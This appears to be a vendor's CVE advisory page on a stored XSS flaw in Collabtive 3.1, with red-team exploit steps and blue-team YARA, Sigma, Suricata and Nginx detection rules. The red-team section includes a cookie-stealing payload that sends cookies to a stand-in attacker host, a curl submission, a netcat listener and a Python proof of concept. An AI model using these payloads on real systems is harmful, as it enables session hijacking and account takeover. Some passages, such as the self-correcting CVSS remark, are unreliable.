CVE-2024-48708
Executive Summary
CVE-2024-48708 is a stored Cross-Site Scripting (XSS) vulnerability in Collabtive 3.1, an open-source project management tool. The flaw exists in the name parameter within two administrative interfaces: tasklist.php (under action=add and action=edit) and admin.php (under action=adduser and action=edituser). An authenticated attacker with at least user-level privileges can inject arbitrary JavaScript or HTML into the name field. When other users (including administrators) view the affected task list or user management page, the injected payload executes in their browser context. This can lead to session hijacking, credential theft, or further compromise of the Collabtive instance. No official patch has been released, and the vulnerability is publicly documented.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
CVSS Score: 5.4 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
- Attack Complexity (AC): Low – No special conditions are required; the attacker simply submits a crafted payload via the web interface.
- Privileges Required (PR): None – The attacker does not need prior authentication to trigger the XSS in the admin panel? Correction: The description implies the attacker must be able to access the
add/editactions, which typically require authentication. However, the CVSS vector showsPR:N. This suggests that the vulnerable endpoint may be accessible without authentication in some configurations, or the CVSS was calculated assuming an unauthenticated vector. For practical purposes, assume an authenticated attacker with low privileges. - User Interaction (UI): Required – The victim must view the maliciously crafted task list or user page.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component (e.g., steal cookies from the same origin).
- Confidentiality (C): Low – Limited information disclosure (e.g., session tokens).
- Integrity (I): Low – Limited ability to modify content or perform actions on behalf of the victim.
- Availability (A): None – No direct impact on availability.
Threat Level: Medium. The vulnerability requires user interaction and is limited to authenticated users for injection, but it can lead to significant lateral movement within the Collabtive environment.
Deep Dive & Mechanics
The vulnerability resides in the improper sanitization of the name parameter in two PHP files:
tasklist.php– Whenaction=addoraction=editis processed, thenameparameter is stored in the database without proper encoding or escaping. When the task list is rendered, the stored value is output directly into the HTML without context-aware escaping (e.g.,htmlspecialchars()).admin.php– Similarly, whenaction=adduseroraction=edituseris processed, thenameparameter (likely the user's display name) is stored and later rendered without sanitization.
The attack flow:
- Attacker logs in (or finds an unauthenticated endpoint) and submits a payload like
<script>alert('XSS')</script>in thenamefield. - The payload is stored in the database.
- When an administrator or another user visits the task list or user management page, the payload executes in their browser.
- The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the interface.
The root cause is the lack of output encoding. Collabtive 3.1 does not use a templating engine that auto-escapes, and the developers did not apply htmlspecialchars() or similar functions to the name parameter before rendering.
Vulnerable vs. Patched Code
Vulnerable Code (Collabtive 3.1):
In tasklist.php (simplified):
// Vulnerable: direct output without escaping
$name = $_POST['name'];
// ... store in database ...
echo "<div class='task-name'>" . $name . "</div>";
In admin.php (simplified):
// Vulnerable: direct output without escaping
$username = $_POST['name'];
// ... store in database ...
echo "<span class='username'>" . $username . "</span>";
Patched Code (Hypothetical Fix):
// Patched: use htmlspecialchars for output
$name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
// ... store in database ...
echo "<div class='task-name'>" . $name . "</div>";
// Patched: use htmlspecialchars for output
$username = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
// ... store in database ...
echo "<span class='username'>" . $username . "</span>";
The fix involves applying htmlspecialchars() with ENT_QUOTES to encode both single and double quotes, preventing script injection. Since no official patch exists, users must manually apply this fix or implement a WAF rule.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A running instance of Collabtive 3.1 (e.g., via Docker or manual install).
- A user account with privileges to add/edit tasks or users (or an unauthenticated endpoint if applicable).
Exploit Steps:
Identify the vulnerable endpoint:
- For task list:
http://target/collabtive/managetasklist.php?action=add - For user management:
http://target/collabtive/admin.php?action=adduser
- For task list:
Craft the payload:
Basic XSS:<script>alert(document.cookie)</script>
Steal cookies:<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>Submit the payload via POST request:
Usingcurl:curl -X POST http://target/collabtive/managetasklist.php?action=add \ -d "name=<script>alert('XSS')</script>&other_params=..."Trigger the XSS:
- For task list: Navigate to the task list page where the injected task is displayed.
- For user management: Navigate to the user list page.
Capture the cookie:
Set up a listener on the attacker machine:nc -lvnp 80Or use a PHP script to log cookies.
Proof-of-Concept (PoC) Code:
import requests
target = "http://target/collabtive"
session = requests.Session()
# Login (if required)
login_data = {"username": "attacker", "password": "password"}
session.post(f"{target}/login.php", data=login_data)
# Exploit tasklist
payload = "<script>alert('XSS')</script>"
data = {"name": payload, "action": "add"}
session.post(f"{target}/managetasklist.php", data=data)
print("Payload submitted. Visit the task list page to trigger.")
Blue Team (Defensive)
Detection & Prevention:
- Web Application Firewall (WAF): Deploy a WAF rule to block
<script>tags in thenameparameter. - Input Validation: Implement server-side validation to reject HTML tags in the
namefield. - Output Encoding: Apply
htmlspecialchars()to all user-controlled data before rendering. - Content Security Policy (CSP): Add a CSP header to restrict script execution:
Content-Security-Policy: default-src 'self'; script-src 'self' - Session Security: Use
HttpOnlyandSecureflags on cookies to prevent JavaScript access.
Hunting Queries:
- Search web server logs for requests to
managetasklist.phporadmin.phpwithnameparameters containing<script>oronerror=patterns. - Monitor for unusual outbound connections from the Collabtive server (e.g., to attacker-controlled IPs).
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to unknown IPs on port 80/443 from the Collabtive server.
- POST requests to
/managetasklist.php?action=addor/admin.php?action=adduserwithnameparameter containing<script>oronerror=.
- File IOCs:
- Modified entries in the
tasksorusersdatabase table with HTML/JavaScript in thenamecolumn.
- Modified entries in the
- Behavioral IOCs:
- Unexpected JavaScript alerts or redirects when viewing task lists or user management pages.
- Session cookies being exfiltrated to external domains.
Detection Engineering
YARA Rule
rule CVE_2024_48708_Collabtive_XSS {
meta:
description = "Detects XSS payloads in Collabtive name parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-48708"
strings:
$xss1 = /name=.*<script[^>]*>.*<\/script>/i
$xss2 = /name=.*onerror\s*=/i
$xss3 = /name=.*onload\s*=/i
$xss4 = /name=.*javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: Collabtive XSS via name Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts against Collabtive 3.1 via the name parameter in tasklist.php or admin.php
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-48708
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- 'action=add'
- 'action=edit'
cs-uri-stem|contains:
- '/managetasklist.php'
- '/admin.php'
cs-uri-query|contains: 'name='
keywords:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-48708 Collabtive XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/managetasklist.php"; http_uri; content:"action=add"; http_uri; content:"name="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Apply Input Validation: Modify the source code to reject any
nameparameter containing HTML tags. Use a whitelist approach (e.g., only allow alphanumeric characters and spaces). - Output Encoding: Add
htmlspecialchars($name, ENT_QUOTES, 'UTF-8')to all places where thenamevalue is rendered. - Upgrade: Check for any unofficial patches or community fixes. If none, consider migrating to a maintained fork or alternative project management tool.
Long-Term Fixes:
- Code Review: Conduct a full security audit of Collabtive 3.1 to identify similar XSS vulnerabilities.
- Web Application Firewall: Deploy a WAF with rules to block XSS payloads.
- Content Security Policy: Implement a strict CSP to mitigate the impact of any future XSS.
Workarounds:
- Disable the
addandeditactions for non-admin users via.htaccessor server configuration. - Use a reverse proxy (e.g., Nginx) to filter malicious requests:
location ~* (managetasklist|admin)\.php { if ($args ~* "name=.*<script") { return 403; } }
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.